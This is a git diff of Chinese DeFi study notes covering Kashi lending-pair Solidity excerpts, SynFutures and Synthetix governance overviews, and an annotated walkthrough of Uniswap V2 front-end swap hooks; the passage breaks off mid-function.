+                emit LogAccrue(0, 0, STARTING_INTEREST_PER_SECOND, 0);
+            }
+            accrueInfo = _accrueInfo;
+            return;
+        }
+
+        uint256 extraAmount = 0;
+        uint256 feeFraction = 0;
+        Rebase memory _totalAsset = totalAsset;
+
+        // Accrue interest
+        extraAmount = uint256(_totalBorrow.elastic).mul(_accrueInfo.interestPerSecond).mul(elapsedTime) / 1e18;
+        _totalBorrow.elastic = _totalBorrow.elastic.add(extraAmount.to128());
+        uint256 fullAssetAmount = bentoBox.toAmount(asset, _totalAsset.elastic, false).add(_totalBorrow.elastic);
+
+        uint256 feeAmount = extraAmount.mul(PROTOCOL_FEE) / PROTOCOL_FEE_DIVISOR; // % of interest paid goes to fee
+        feeFraction = feeAmount.mul(_totalAsset.base) / fullAssetAmount;
+        _accrueInfo.feesEarnedFraction = _accrueInfo.feesEarnedFraction.add(feeFraction.to128());
+        totalAsset.base = _totalAsset.base.add(feeFraction.to128());
+        totalBorrow = _totalBorrow;
+
+        // Update interest rate
+        uint256 utilization = uint256(_totalBorrow.elastic).mul(UTILIZATION_PRECISION) / fullAssetAmount;
+        if (utilization < MINIMUM_TARGET_UTILIZATION) {
+            uint256 underFactor = MINIMUM_TARGET_UTILIZATION.sub(utilization).mul(FACTOR_PRECISION) / MINIMUM_TARGET_UTILIZATION;
+            uint256 scale = INTEREST_ELASTICITY.add(underFactor.mul(underFactor).mul(elapsedTime));
+            _accrueInfo.interestPerSecond = uint64(uint256(_accrueInfo.interestPerSecond).mul(INTEREST_ELASTICITY) / scale);
+
+            if (_accrueInfo.interestPerSecond < MINIMUM_INTEREST_PER_SECOND) {
+                _accrueInfo.interestPerSecond = MINIMUM_INTEREST_PER_SECOND; // 0.25% APR minimum
+            }
+        } else if (utilization > MAXIMUM_TARGET_UTILIZATION) {
+            uint256 overFactor = utilization.sub(MAXIMUM_TARGET_UTILIZATION).mul(FACTOR_PRECISION) / FULL_UTILIZATION_MINUS_MAX;
+            uint256 scale = INTEREST_ELASTICITY.add(overFactor.mul(overFactor).mul(elapsedTime));
+            uint256 newInterestPerSecond = uint256(_accrueInfo.interestPerSecond).mul(scale) / INTEREST_ELASTICITY;
+            if (newInterestPerSecond > MAXIMUM_INTEREST_PER_SECOND) {
+                newInterestPerSecond = MAXIMUM_INTEREST_PER_SECOND; // 1000% APR maximum
+            }
+            _accrueInfo.interestPerSecond = uint64(newInterestPerSecond);
+        }
+
+        emit LogAccrue(extraAmount, feeFraction, _accrueInfo.interestPerSecond, utilization);
+        accrueInfo = _accrueInfo;
+    }
+```
+
+    - cook 批量接口调用   
+    Kaishi 把各个接口分装成对应的数字，这样就可以通过合约选择的方式进行调用，优化了交互体验   
+    ```solidity
+    /// @notice Executes a set of actions and allows composability (contract calls) to other contracts.
+    /// @param actions An array with a sequence of actions to execute (see ACTION_ declarations).
+    /// @param values A one-to-one mapped array to `actions`. ETH amounts to send along with the actions.
+    /// Only applicable to `ACTION_CALL`, `ACTION_BENTO_DEPOSIT`.
+    /// @param datas A one-to-one mapped array to `actions`. Contains abi encoded data of function arguments.
+    /// @return value1 May contain the first positioned return value of the last executed action (if applicable).
+    /// @return value2 May contain the second positioned return value of the last executed action which returns 2 values (if applicable).
+    function cook(
+        uint8[] calldata actions,
+        uint256[] calldata values,
+        bytes[] calldata datas
+    ) external payable returns (uint256 value1, uint256 value2) {
+        CookStatus memory status;
+        for (uint256 i = 0; i < actions.length; i++) {
+            uint8 action = actions[i];
+            if (!status.hasAccrued && action < 10) {
+                accrue();
+                status.hasAccrued = true;
+            }
+            if (action == ACTION_ADD_COLLATERAL) {
+                (int256 share, address to, bool skim) = abi.decode(datas[i], (int256, address, bool));
+                addCollateral(to, skim, _num(share, value1, value2));
+            } else if (action == ACTION_ADD_ASSET) {
+                (int256 share, address to, bool skim) = abi.decode(datas[i], (int256, address, bool));
+                value1 = _addAsset(to, skim, _num(share, value1, value2));
+            } else if (action == ACTION_REPAY) {
+                (int256 part, address to, bool skim) = abi.decode(datas[i], (int256, address, bool));
+                _repay(to, skim, _num(part, value1, value2));
+            } else if (action == ACTION_REMOVE_ASSET) {
+                (int256 fraction, address to) = abi.decode(datas[i], (int256, address));
+                value1 = _removeAsset(to, _num(fraction, value1, value2));
+            } else if (action == ACTION_REMOVE_COLLATERAL) {
+    }
+    ```
+
+
+## 参考资料  
+- 曲线绘图 ： https://www.desmos.com/calculator?lang=zh-CN    
+- 官方资料： https://dev.sushi.com/bentobox/interfaces/lending-pair   
diff --git a/defi/Synfuture/comparative-analysis.md b/defi/Synfuture/comparative-analysis.md
new file mode 100644
index 000000000..f7e7cc5a9
--- /dev/null
+++ b/defi/Synfuture/comparative-analysis.md
@@ -0,0 +1,105 @@
+### **1. 支持任意资产**
+#### 核心优势
+- SynFutures 允许用户基于任意资产（包括加密资产、传统资产、NFT 等）创建合成资产期货市场，极大拓展了用户的交易选择范围。
+- 与其特定资产绑定的竞争对手（如 dYdX 专注于主流资产）相比，SynFutures 提供了对长尾资产和新兴资产的强支持，满足了多样化交易需求。
+
+#### 对比分析
+| 平台               | 支持资产类型                              | 灵活性                     |
+|--------------------|-------------------------------------------|----------------------------|
+| **SynFutures**     | 加密资产、LP Token、NFT、传统资产         | 极高：用户自定义市场参数    |
+| dYdX              | 主流加密资产（BTC、ETH 等）               | 中：资产受限于平台选择      |
+| Perpetual Protocol | 加密资产（少量主流资产）                 | 中等：支持资产有限          |
+
+**结论**：SynFutures 通过支持长尾资产和用户定义市场，填补了 DeFi 领域对非主流资产衍生品交易的需求空白。
+
+
+### **2. 改良的 sAMM 模型**
+#### 核心优势
+- SynFutures 的 Synthetic Automated Market Maker (sAMM) 动态调整资本效率，优化了资金利用率，降低了无常损失（impermanent loss）。
+- 提供更灵活的资金池参数配置，允许用户针对不同资产的波动性和流动性需求进行调整。
+
+#### 对比分析
+| 平台               | 做市模式                   | 资金利用率               |
+|--------------------|---------------------------|--------------------------|
+| **SynFutures**     | sAMM（动态调整机制）       | 高：杠杆 + 流动性优化    |
+| dYdX              | 订单簿模型（Order Book）   | 高：集中流动性            |
+| Perpetual Protocol | vAMM（虚拟做市商模型）     | 中：仅优化了滑点          |
+
+**结论**：sAMM 结合了 AMM 的去中心化特点与订单簿的高效性，使 SynFutures 在资金效率与流动性管理上占据优势。
+
+
+### **3. 无需许可的市场创建**
+#### 核心优势
+- 任何用户都可以自由创建市场，无需依赖平台或第三方审批。这种开放性大幅降低了市场准入门槛，鼓励用户为新资产提供交易流动性。
+
+#### 对比分析
+| 平台               | 市场创建                 | 灵活性                     |
+|--------------------|--------------------------|----------------------------|
+| **SynFutures**     | 无需许可，完全去中心化    | 极高：用户自由选择资产       |
+| dYdX              | 中心化团队决定支持资产    | 低：用户无法自定义市场      |
+| Perpetual Protocol | 无需许可，但资产受限制    | 中：需要平台支持特定资产    |
+
+**结论**：SynFutures 的市场开放性在 DeFi 衍生品平台中独具特色，适合长尾市场的发展。
+
+
+### **4. 高资本效率**
+#### 核心优势
+- SynFutures 通过杠杆机制和动态资金池管理，实现了更高的资本效率。
+- 用户可以用较低的资金锁定成本参与衍生品交易，获得更高的资金回报率。
+
+#### 对比分析
+| 平台               | 杠杆支持       | 资本效率                     |
+|--------------------|----------------|------------------------------|
+| **SynFutures**     | 支持多倍杠杆   | 高：结合杠杆与优化的流动性管理 |
+| dYdX              | 支持高杠杆     | 高：资本效率依赖集中流动性     |
+| Perpetual Protocol | 支持杠杆       | 中：优化程度不及 SynFutures    |
+
+**结论**：SynFutures 在保持去中心化的前提下，通过动态调整和杠杆机制，达到类似于集中化平台的资本效率。
+
+
+### **5. 用户友好的体验**
+#### 核心优势
+- 提供直观、易用的用户界面，降低了用户参与 DeFi 衍生品交易的门槛。
+- 无代码市场创建工具使非技术用户也能参与新市场的建立和管理。
+
+#### 对比分析
+| 平台               | 用户体验                   | 适合普通用户                |
+|--------------------|----------------------------|-----------------------------|
+| **SynFutures**     | 易用：支持无代码创建市场     | 是                          |
+| dYdX              | 技术性强：适合高级用户       | 否                          |
+| Perpetual Protocol | 简单易用                   | 是                          |
+
+**结论**：相比其他 DeFi 衍生品平台，SynFutures 的用户体验设计更加适合普通用户，促进了用户基础的扩大。
+
+
+### **6. 多样化应用场景**
+#### 核心优势
+- 支持多种创新交易场景：
+  - **NFT 衍生品市场**：为 NFT 提供价格发现功能，开创 NFT 金融化的新路径。
+  - **传统资产桥接**：实现加密世界与传统金融市场的融合。
+  - **流动性挖矿与收益增强**：鼓励用户为资金池提供流动性，并通过激励机制提升收益。
+
+#### 对比分析
+| 平台               | 创新应用场景               | 功能扩展                   |
+|--------------------|---------------------------|----------------------------|
+| **SynFutures**     | NFT、传统资产、LP Token    | 强：覆盖多样化场景          |
+| dYdX              | 加密资产交易               | 中：专注于主流资产          |
+| Perpetual Protocol | 加密资产衍生品            | 中：创新场景有限            |
+
+**结论**：SynFutures 通过广泛的应用场景，扩展了 DeFi 衍生品市场的潜力。
+
+
+### **总体结论**
+
+SynFutures 凭借其开放性、灵活性和用户友好的设计，在 DeFi 衍生品领域中具备显著优势。以下是其核心竞争力的总结：
+
+| 核心优势                | 对比结果                     |
+|-------------------------|------------------------------|
+| 支持任意资产             | 长尾资产支持超越竞争对手       |
+| sAMM 模型                | 高资本效率与优化的流动性管理   |
+| 无需许可的市场创建         | 提高了市场创新能力            |
+| 高资本效率               | 优化杠杆机制和流动性          |
+| 用户友好的体验            | 更适合普通用户                |
+| 多样化应用场景            | 兼具创新性与实用性            |
+
+在与 dYdX、Perpetual Protocol 等平台的对比中，SynFutures 的广泛资产支持和灵活市场创建特性，特别适合对非主流资产感兴趣的用户，同时也为 DeFi 衍生品市场提供了更具创新性的解决方案。
\ No newline at end of file
diff --git a/defi/Synfuture/readme.md b/defi/Synfuture/readme.md
new file mode 100644
index 000000000..051a61abb
--- /dev/null
+++ b/defi/Synfuture/readme.md
@@ -0,0 +1,114 @@
+
+## **SynFutures 项目概述**
+
+**SynFutures** 是一个去中心化的合成资产交易平台，专注于为用户提供开放、灵活且易于使用的衍生品市场。它允许用户在链上交易任何资产的期货合约，包括传统资产（如股票、商品）和加密资产（如代币、NFT）。SynFutures 的目标是成为去中心化金融（DeFi）中合成资产和衍生品交易的核心协议，通过自动化、无需许可的机制降低门槛，为全球用户提供无边界的金融服务。
+
+### **核心功能**
+
+1. **开放市场**  
+   SynFutures 提供无需许可的市场创建功能。任何用户都可以通过简单的操作创建新的期货交易市场，无需中心化机构的批准。
+
+2. **资产支持的广泛性**  
+   SynFutures 支持以下类型的资产：
+   - **现货代币**：如 BTC、ETH 等主流加密货币。
+   - **LP Token**：支持包括 Uniswap 和 SushiSwap 在内的流动性池代币。
+   - **NFT**：用户可基于 NFT 创建期货市场，支持 NFT 的价格发现与投机。
+   - **传统资产**：通过链上桥接技术实现对黄金、股票等传统资产的合成支持。
+
+3. **创新型 AMM 模型**  
+   SynFutures 采用了一种改良的自动化做市商（AMM）模型，名为 Synthetic Automated Market Maker (sAMM)。sAMM 的特点包括：
+   - 动态调整资金利用率以提升资本效率。
+   - 提供灵活的交易机制，降低用户滑点。
+   - 增强做市商的收益，通过优化资金池运作实现更高的收益率。
+
+4. **用户友好的体验**  
+   SynFutures 优化了用户界面，降低了 DeFi 衍生品交易的复杂性。其无代码市场创建功能允许非技术用户轻松参与。
+
+5. **无需许可的参与机制**  
+   平台完全去中心化，所有操作（包括市场创建、交易和清算）均在智能合约中执行，无需依赖中心化实体。
+
+
+
+### **技术架构**
+
+1. **sAMM（Synthetic Automated Market Maker）**  
+   - **核心概念**：将传统 AMM 模型与期货市场的特性结合，支持多样化的期货交易需求。
+   - **特点**：
+     - 资金利用率优化：通过杠杆机制提升资本效率。
+     - 动态价格机制：根据市场供需调整价格曲线，减少资金池亏损风险。
+     - 灵活的池配置：支持自定义资金池参数以满足不同资产的需求。
+
+2. **合成资产机制**  
+   SynFutures 通过智能合约生成合成资产，用户无需持有真实资产即可参与交易。这种机制降低了用户准入门槛，并支持长尾资产的交易。
+
+3. **清算系统**  
+   平台内置去中心化清算模块，实时监控仓位的风险水平。一旦用户的仓位低于最低抵押要求，将触发自动清算机制，保护资金池的安全性。
+
+4. **预言机整合**  
+   SynFutures 使用链上预言机（如 Chainlink 和 Band Protocol）提供价格数据，确保合成资产价格的准确性和市场透明度。
+
+
+
+### **经济模型**
+
+1. **费用结构**
+   - **交易费用**：用户在每笔交易中支付一定比例的手续费，手续费用于奖励做市商和平台治理。
+   - **清算费用**：清算触发时，部分资产被用作清算奖励，激励清算者维护系统稳定。
+
+2. **治理代币**  
+   SynFutures 通过原生代币（$SYF）实现社区治理和激励分配。代币的主要用途包括：
+   - **治理投票**：持有者可参与协议参数调整及决策。
+   - **奖励机制**：激励流动性提供者（LP）和交易参与者。
+
+3. **流动性挖矿**  
+   平台支持流动性挖矿，鼓励用户为资金池提供流动性。奖励以 $SYF 发放，进一步提升用户参与度。
+
+
+
+### **核心优势**
+
+1. **支持任意资产**  
+   SynFutures 是首个支持用户基于任意资产创建市场的平台，推动了长尾资产在 DeFi 中的价值发现。
+
+2. **去中心化和无许可**  
+   所有功能完全去中心化，用户可随时创建市场、交易资产，无需中心化机构的干预。
+
+3. **高资本效率**  
+   通过 sAMM 和杠杆机制，用户可以更高效地利用资金。
+
+4. **灵活的市场创建**  
+   平台允许用户自定义期货合约参数，包括到期时间、杠杆倍数、抵押资产等。
+
+5. **用户友好性**  
+   SynFutures 提供直观的用户界面，降低了复杂金融工具的使用门槛。
+
+
+
+### **未来发展方向**
+
+1. **扩展支持资产类型**  
+   增加对更多传统金融资产和新兴加密资产的支持。
+
+2. **多链支持**  
+   在以太坊之外，逐步扩展到其他主流公链（如 BSC、Polygon 等）以及 Layer 2 解决方案，以降低交易成本。
+
+3. **提升流动性**  
+   通过引入更多激励机制和优化资金池模型，进一步提升流动性。
+
+4. **社区治理**  
+   逐步将平台管理权移交给社区，构建完全由用户驱动的去中心化生态。
+
+
+
+### **应用场景**
+
+- **投机与对冲**：用户可利用 SynFutures 的期货合约进行资产价格投机或对冲价格波动风险。
+- **价格发现**：通过链上交易发现新资产的价格，特别是长尾资产。
+- **NFT 衍生品交易**：为 NFT 创建期货市场，探索 NFT 的更多金融应用。
+
+
+
+### **参考链接**
+- SynFutures 官方网站：[https://www.synfutures.com](https://www.synfutures.com)
+- SynFutures 白皮书：[SynFutures Whitepaper](https://www.synfutures.com/synfutures-whitepaper.pdf)
+- Medium 博客：[https://medium.com/synfutures](https://medium.com/synfutures)
diff --git a/defi/Synthetix/dao/readme.md b/defi/Synthetix/dao/readme.md
new file mode 100644
index 000000000..0568f777b
--- /dev/null
+++ b/defi/Synthetix/dao/readme.md
@@ -0,0 +1,35 @@
+# Synthetix DAO
+
+
+## 代币模型
+
+
+## 治理流程
+Synthetix 允许成员定期选举代表，以在动态的 DAO 生态系统中扮演不同的角色。换句话说，所有成员要做的就是投票代表他们做出决定的代表。Synthetix 的独特之处在于其治理系统的稳健性。一方面，Synthetix 整合了六个不同的 DAO，旨在在 Synthethix 生态系统中扮演特定的治理角色。
+
+Synthetix 生态系统有六个管理机构：
+
+Spartan Council  
+Protocol DAO
+Synthetix DAO
+Ambassador DAO
+Grant DAO
+Core Contributors
+
+第一个 DAO 是 Spartan 委员会，由选出的八名成员组成，他们被选为进行提案审查并采访综合改进提案 (SIP) 和 Synthetix 配置变更提案 (SCCP) 的作者。
+
+一旦这些提案得到 Spartan Council 的审查，它们就会被传递给 Protocol DAO （pDAO）——该管理机构负责根据 Spartan Counci 关于实施 SIP 和 SCCP 的决定来升级协议的智能合约。pDAO 成员由 Spartan Counci 提名。pDAO 的每个成员都必须符合严格的标准才能获得该职位的资格。
+
+第三个组织是 Synthetix DAO，它负责管理平台的资金并确保其他组织得到足够的激励，以维持可持续和去中心化的生态系统。
+
+然后我们有 Ambassador DAO (aDAO)，它希望为可能影响 Synthetix 生态系统的外部协议的治理做出贡献。
+
+Grants DAO 更侧重于审查和资助提案，核心贡献者是自治团队，承担一系列开发和非开发角色。请注意，上述 DAO 的所有成员都由 Synthetix DAO 支付津贴。此外，选举在每个纪元开始时进行，这只是在以太坊上完成 30,000 个区块所需的时间。
+
+
+**怎么参与**
+选举在 snapshot 上举行，加权投票分配给在 Synthetix 协议上抵押 SNX 的用户。一旦参与者根据质押数量获得加权投票，他们就可以将投票委托给他们希望看到成为管理机构成员的个人。
+
+有趣的是，生态系统每月在 Discord 举行一次会议，DAO 成员在会上报告他们的运营情况并接收来自社区的反馈。这些会议在 YouTube 和 Spotify 上播出。
+
+## 参考链接
diff --git a/defi/Synthetix/readme.md b/defi/Synthetix/readme.md
new file mode 100644
index 000000000..a3e5fb6e8
--- /dev/null
+++ b/defi/Synthetix/readme.md
@@ -0,0 +1,4 @@
+# SNX
+
+## 参考链接
+- 介绍：https://medium.com/cortexlabs/defi%E7%A7%91%E6%99%AE%E7%B3%BB%E5%88%97%E4%B9%8B-%E4%B8%89-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3synthetix%E5%A6%82%E4%BD%95%E7%8E%A9%E8%BD%AC%E5%90%88%E6%88%90%E8%B5%84%E4%BA%A7-47c4f585563e
diff --git a/defi/Uniswap-V2/Interface/Code.md b/defi/Uniswap-V2/Interface/Code.md
new file mode 100644
index 000000000..4bd32abd4
--- /dev/null
+++ b/defi/Uniswap-V2/Interface/Code.md
@@ -0,0 +1,1740 @@
+# Code代码解析
+
+## Swap
+
+### useDerivedSwapInfo
+
+
+从用户的输入数值来计算最佳的交易路径
+
+```ts
+// src/state/swap/hooks.ts
+
+// from the current swap inputs, compute the best trade and return it.
+export function useDerivedSwapInfo(): {
+  currencies: { [field in Field]?: Currency }
+  currencyBalances: { [field in Field]?: CurrencyAmount }
+  parsedAmount: CurrencyAmount | undefined
+  v2Trade: Trade | undefined
+  inputError?: string
+  v1Trade: Trade | undefined
+} {
+  const { account } = useActiveWeb3React()
+
+  const toggledVersion = useToggledVersion()
+
+  const {
+    independentField,
+    typedValue,
+    [Field.INPUT]: { currencyId: inputCurrencyId },
+    [Field.OUTPUT]: { currencyId: outputCurrencyId },
+    recipient
+  } = useSwapState()
+
+  const inputCurrency = useCurrency(inputCurrencyId)
+  const outputCurrency = useCurrency(outputCurrencyId)
+  // 如果接收者填写的是ENS域名，需要解析
+  const recipientLookup = useENS(recipient ?? undefined)
+  // 交易接收者默认为当前连接的钱包账户
+  const to: string | null = (recipient === null ? account : recipientLookup.address) ?? null
+
+  // 获取当前选中的 token 的用户余额
+  const relevantTokenBalances = useCurrencyBalances(account ?? undefined, [
+    inputCurrency ?? undefined,
+    outputCurrency ?? undefined
+  ])
+
+  // isExactIn 交易模式 精确输入还是精确输出
+  const isExactIn: boolean = independentField === Field.INPUT
+  // 解析用户输入的数量
+  const parsedAmount = tryParseAmount(typedValue, (isExactIn ? inputCurrency : outputCurrency) ?? undefined)
+
+  // 获取最优交易路径 根据交易模式赋值给 v2Trade
+  const bestTradeExactIn = useTradeExactIn(isExactIn ? parsedAmount : undefined, outputCurrency ?? undefined)
+  const bestTradeExactOut = useTradeExactOut(inputCurrency ?? undefined, !isExactIn ? parsedAmount : undefined)
+
+  const v2Trade = isExactIn ? bestTradeExactIn : bestTradeExactOut
+
+  const currencyBalances = {
+    [Field.INPUT]: relevantTokenBalances[0],
+    [Field.OUTPUT]: relevantTokenBalances[1]
+  }
+
+  const currencies: { [field in Field]?: Currency } = {
+    [Field.INPUT]: inputCurrency ?? undefined,
+    [Field.OUTPUT]: outputCurrency ?? undefined
+  }
+
+  // get link to trade on v1, if a better rate exists
+  // 也要获取v1的最优路径，万一比v2还好呢
+  const v1Trade = useV1Trade(isExactIn, currencies[Field.INPUT], currencies[Field.OUTPUT], parsedAmount)
+
+  // 接下来是错误检查
+  let inputError: string | undefined
+  // 检查是否连接钱包
+  if (!account) {
+    inputError = 'Connect Wallet'
+  }
+
+  // 检查输入金额
+  if (!parsedAmount) {
+    inputError = inputError ?? 'Enter an amount'
+  }
+
+  // 检查是否选了输入输出的token
+  if (!currencies[Field.INPUT] || !currencies[Field.OUTPUT]) {
+    inputError = inputError ?? 'Select a token'
+  }
+
+  // 校验交易接收者地址
+  const formattedTo = isAddress(to)
+  if (!to || !formattedTo) {
+    inputError = inputError ?? 'Enter a recipient'
+  } else {
+    if (
+      // BAD_RECIPIENT_ADDRESSES v2 相关的合约地址 factory router01 router02
+      BAD_RECIPIENT_ADDRESSES.indexOf(formattedTo) !== -1 ||
+      // 接收者地址不能存在于交易路径中
+      (bestTradeExactIn && involvesAddress(bestTradeExactIn, formattedTo)) ||
+      (bestTradeExactOut && involvesAddress(bestTradeExactOut, formattedTo))
+    ) {
+      inputError = inputError ?? 'Invalid recipient'
+    }
+  }
+
+  // 获取用户设置的交易滑点百分比上限
+  const [allowedSlippage] = useUserSlippageTolerance()
+
+  // computeSlippageAdjustedAmounts
+  // 根据用户指定的滑点大小, 计算并返回对应交易的最大输入和最小输出数量
+
+  // 计算考虑滑点的情况下的输入 v2
+  const slippageAdjustedAmounts = v2Trade && allowedSlippage && computeSlippageAdjustedAmounts(v2Trade, allowedSlippage)
+
+  // 计算考虑滑点的情况下的输入 v1
+  const slippageAdjustedAmountsV1 =
+    v1Trade && allowedSlippage && computeSlippageAdjustedAmounts(v1Trade, allowedSlippage)
+
+  // compare input balance to max input based on version
+  // 比较用户的token余额与计算滑点后的输入数量
+  // 根据 toggledVersion 选择的版本, 返回对应版本交易的最大输入数量
+  const [balanceIn, amountIn] = [
+    currencyBalances[Field.INPUT],
+    toggledVersion === Version.v1
+      ? slippageAdjustedAmountsV1
+        ? slippageAdjustedAmountsV1[Field.INPUT]
+        : null
+      : slippageAdjustedAmounts
+      ? slippageAdjustedAmounts[Field.INPUT]
+      : null
+  ]
+
+  // 若余额小于计算滑点后的数量 则报错
+  if (balanceIn && amountIn && balanceIn.lessThan(amountIn)) {
+    inputError = 'Insufficient ' + amountIn.currency.symbol + ' balance'
+  }
+
+  return {
+    currencies,
+    currencyBalances,
+    parsedAmount,
+    v2Trade: v2Trade ?? undefined,
+    inputError,
+    v1Trade
+  }
+}
+```
+
+### useTradeExactOut
+
+根据精确的输出数量，计算出预计的输入数量和最佳交易路径
+
+```ts
+// src/hooks/Trades.ts
+/**
+ * Returns the best trade for the token in to the exact amount of token out
+ */
+export function useTradeExactOut(currencyIn?: Currency, currencyAmountOut?: CurrencyAmount): Trade | null {
+  // 所有可用的交易对
+  const allowedPairs = useAllCommonPairs(currencyIn, currencyAmountOut?.currency)
+
+  // 单池交易模式
+  // 用户是否禁用多交易对，即只使用一个交易对池子
+  const [singleHopOnly] = useUserSingleHopOnly()
+
+  return useMemo(() => {
+    if (currencyIn && currencyAmountOut && allowedPairs.length > 0) {
+      // 如果是单池交易模式 不用考虑中转交易 直接返回当前的最优结果
+      if (singleHopOnly) {
+        return (
+          Trade.bestTradeExactOut(allowedPairs, currencyIn, currencyAmountOut, { maxHops: 1, maxNumResults: 1 })[0] ??
+          null
+        )
+      }
+      // search through trades with varying hops, find best trade out of them
+      // 遍历最佳的交易路径
+      // MAX_HOPS = 3 这里i = [1, 2, 3], i 代表了当前寻找的交易路径长度
+      let bestTradeSoFar: Trade | null = null
+      for (let i = 1; i <= MAX_HOPS; i++) {
+        // 获取当前交易路径长度下的最优交易路径
+        const currentTrade =
+          Trade.bestTradeExactOut(allowedPairs, currencyIn, currencyAmountOut, { maxHops: i, maxNumResults: 1 })[0] ??
+          null
+        // 比较该交易路径是否可以使用更少的输入数量
+        // BETTER_TRADE_LESS_HOPS_THRESHOLD = 50 / 10000 (千五)
+        // 这里是比较 currentTrade * 100.5% < bestTradeSoFar
+        // 由于i是递增的，所以这里 bestTradeSoFar 会比  currentTrade 长度少
+        // 这里的阈值应该是考虑交易次数增加的gas费用
+        if (isTradeBetter(bestTradeSoFar, currentTrade, BETTER_TRADE_LESS_HOPS_THRESHOLD)) {
+          bestTradeSoFar = currentTrade
+        }
+      }
+      return bestTradeSoFar
+    }
+    return null
+  }, [currencyIn, currencyAmountOut, allowedPairs, singleHopOnly])
+}
+```
+
+### useAllCommonPairs
+
+筛选 tokenA 和 tokenB 所有可用的交易对（包含中转交易对）
+
+```ts
+// src/hooks/Trades.ts
+
+function useAllCommonPairs(currencyA?: Currency, currencyB?: Currency): Pair[] {
+  const { chainId } = useActiveWeb3React()
+
+  // 默认的中转token
+  // 主网有 WETH, DAI, USDC, USDT, COMP, MKR, WBTC
+  // 测试网 只有 WETH
+  const bases: Token[] = chainId ? BASES_TO_CHECK_TRADES_AGAINST[chainId] : []
+
+  const [tokenA, tokenB] = chainId
+    ? [wrappedCurrency(currencyA, chainId), wrappedCurrency(currencyB, chainId)]
+    : [undefined, undefined]
+
+  // basePairs 由bases两两配对组成的交易对列表
+  const basePairs: [Token, Token][] = useMemo(
+    () =>
+      flatMap(bases, (base): [Token, Token][] => bases.map(otherBase => [base, otherBase])).filter(
+        ([t0, t1]) => t0.address !== t1.address
+      ),
+    [bases]
+  )
+
+  // 在所有可能的中转交易对中进行筛选
+  const allPairCombinations: [Token, Token][] = useMemo(
+    () =>
+      tokenA && tokenB
+        ? [
+            // the direct pair
+            // 单个交易池，返回两个token本身组成的交易对
+            [tokenA, tokenB],
+            // tokenA 和其他bases token组成的交易对
+            ...bases.map((base): [Token, Token] => [tokenA, base]),
+            // tokenB 和其他bases token组成的交易对
+            ...bases.map((base): [Token, Token] => [tokenB, base]),
+            // each base against all bases
+            ...basePairs
+          ]
+            // 交易对两个token存在，且地址不同
+            .filter((tokens): tokens is [Token, Token] => Boolean(tokens[0] && tokens[1]))
+            .filter(([t0, t1]) => t0.address !== t1.address)
+            // 某些token只能通过特定的交易对交易，需要排除
+            .filter(([tokenA, tokenB]) => {
+              if (!chainId) return true
+              const customBases = CUSTOM_BASES[chainId]
+              if (!customBases) return true
+
+              const customBasesA: Token[] | undefined = customBases[tokenA.address]
+              const customBasesB: Token[] | undefined = customBases[tokenB.address]
+
+              if (!customBasesA && !customBasesB) return true
+
+              if (customBasesA && !customBasesA.find(base => tokenB.equals(base))) return false
+              if (customBasesB && !customBasesB.find(base => tokenA.equals(base))) return false
+
+              return true
+            })
+        : [],
+    [tokenA, tokenB, bases, basePairs, chainId]
+  )
+
+  const allPairs = usePairs(allPairCombinations)
+
+  // only pass along valid pairs, non-duplicated pairs
+  // 校验合法性和去重
+  return useMemo(
+    () =>
+      Object.values(
+        allPairs
+          // filter out invalid pairs
+          // 交易池子需要存在
+          .filter((result): result is [PairState.EXISTS, Pair] => Boolean(result[0] === PairState.EXISTS && result[1]))
+          // filter out duplicated pairs
+          // 去重
+          .reduce<{ [pairAddress: string]: Pair }>((memo, [, curr]) => {
+            memo[curr.liquidityToken.address] = memo[curr.liquidityToken.address] ?? curr
+            return memo
+          }, {})
+      ),
+    [allPairs]
+  )
+}
+```
+
+### bestTradeExactOut
+
+限定使用交易路径的长度(交易对数量)，在交易对中寻找所有可能的交易路径，并进行最优排序，第一个元素为最优的交易路径
+
+- 这是sdk中的方法 `@uniswap/sdk/Trade.bestTradeExactOut`
+- 该方法主要接受三个参数：交易对数组， 精确的输出数量，递归深度(交易路径的长度)
+- 遍历交易对数组，然后对每个交易对进行递归查找，找到头尾符合输入输出的路径会排序并插入到结果中
+- 最终返回一个交易路径组成的数组，第一个元素为最优的交易路径
+
+### useSwapCallback
+
+向router合约发起交易，返回交易的 状态，回调，报错
+
+```ts
+// src/hooks/useSwapCallback.ts
+
+// returns a function that will execute a swap, if the parameters are all valid
+// and the user has approved the slippage adjusted input amount for the trade
+export function useSwapCallback(
+  trade: Trade | undefined, // trade to execute, required
+  allowedSlippage: number = INITIAL_ALLOWED_SLIPPAGE, // in bips
+  recipientAddressOrName: string | null // the ENS name or address of the recipient of the trade, or null if swap should be returned to sender
+): { state: SwapCallbackState; callback: null | (() => Promise<string>); error: string | null } {
+  const { account, chainId, library } = useActiveWeb3React()
+
+  // 遍历交易路径 获得由调用函数名和相关参数组成的数组
+  const swapCalls = useSwapCallArguments(trade, allowedSlippage, recipientAddressOrName)
+
+  // 发送交易的钩子
+  const addTransaction = useTransactionAdder()
+
+  // 交易接收者
+  const { address: recipientAddress } = useENS(recipientAddressOrName)
+  const recipient = recipientAddressOrName === null ? account : recipientAddress
+
+  // 返回交易的 状态，回调，报错
+  return useMemo(() => {
+    // 校验非法交易
+    if (!trade || !library || !account || !chainId) {
+      return { state: SwapCallbackState.INVALID, callback: null, error: 'Missing dependencies' }
+    }
+    // 检测是什么原因导致交易接收者不存在 
+    if (!recipient) {
+      // 如果作为传入 useENS 的参数 recipientAddressOrName 存在, 说明当前为无效的接收者
+      // 否则表示当前接收者还在获取状态中
+      if (recipientAddressOrName !== null) {
+        return { state: SwapCallbackState.INVALID, callback: null, error: 'Invalid recipient' }
+      } else {
+        return { state: SwapCallbackState.LOADING, callback: null, error: null }
+      }
+    }
+
+    const tradeVersion = getTradeVersion(trade)
+
+    return {
+      // 交易状态 通过校验
+      state: SwapCallbackState.VALID,
+      // 交易的回调方法
+      callback: async function onSwap(): Promise<string> {
+        // 针对每笔交易依次进行预执行 估算gas 并在实际交易发出之前提前发现错误
+        const estimatedCalls: EstimatedSwapCall[] = await Promise.all(
+          swapCalls.map(call => {
+            const {
+              parameters: { methodName, args, value },
+              contract
+            } = call
+            const options = !value || isZero(value) ? {} : { value }
+
+            // 返回调用及其预计的gas费用
+            return contract.estimateGas[methodName](...args, options)
+              .then(gasEstimate => {
+                return {
+                  call,
+                  gasEstimate
+                }
+              })
+              .catch(gasError => {
+                console.debug('Gas estimate failed, trying eth_call to extract error', call)
+
+                // 预计算失败，尝试静态调用合约方法
+                return contract.callStatic[methodName](...args, options)
